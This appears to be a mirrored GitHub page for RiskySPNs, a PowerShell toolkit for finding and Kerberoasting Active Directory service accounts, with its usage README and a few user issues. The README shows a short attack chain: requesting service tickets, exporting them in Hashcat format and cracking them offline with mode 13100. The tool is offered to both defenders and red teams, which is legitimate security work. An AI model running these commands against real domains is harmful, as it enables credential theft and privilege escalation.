GithubHelp home page GithubHelp logo

riskyspn's Introduction

RiskySPNs

RiskySPNs is a collection of PowerShell scripts focused on detecting and abusing accounts associated with SPNs (Service Principal Name). This module can assist blue teams to identify potentially risky SPNs as well as red teams to escalate privileges by leveraging Kerberos and Active Directory.

For detailed information: http://www.cyberark.com/blog/service-accounts-weakest-link-chain/

Usage

Install the module

Import-Module .\RiskySPNs.psm1

Or just load the script (you can also IEX from web)

. .\Find-PotentiallyCrackableAccounts.ps1

Make sure Set-ExecutionPolicy is Unrestricted or Bypass

Get information about a function (very detailed :))

Get-Help Get-TGSCipher -Full

All fucntions also have -Verbose mode

Search vulnerable SPNs

Find vulnerable accounts

Find-PotentiallyCrackableAccounts

Sensitive + RC4 = $$$

Generate full deatiled report about vulnerable accounts (CISO <3)

Export-PotentiallyCrackableAccounts

Get tickets

Request Kerberos TGS for SPN

Get-TGSCipher -SPN "MSSQLSvc/prodDB.company.com:1433"

Or

Find-PotentiallyCrackableAccounts -Stealth -GetSPNs | Get-TGSCipher

The fun stuff :)

Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File crack.txt
oclHashcat64.exe -m 13100 crack.txt -a 3

riskyspn's People

Contributors

aseigler avatar machosec avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

riskyspn's Issues

Need consistency in usage of -band and -eq

$EncType is not evaluated properly.

(24 -band 16 -eq 16)

Is false whereas

((24 -band 16) -eq 16)

Is true.

Result is all accounts appear to be using RC4-HMAC when they could be using AES128 or AES256.

UTF16 to UTF8

The script (on Windows 10) generated an UTF16 file, I had to convert it in UTF8 to use with hashcat and John.

Consider publishing to PowerShell Gallery?

Hi!

Just flipped through the code, very cool : ) Have you considered publishing this to the PowerShell Gallery? Makes it a bit more discoverable, improves re-usability (other folks can use it as a dependency without much effort), simple to install, etc.

It's pretty straightforward, and if you don't want to manually do it, you could have AppVeyor do it for you each time you commit (perhaps with a gate on commit message). If you're up for it and would like any help, hit me up!

Cheers!

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.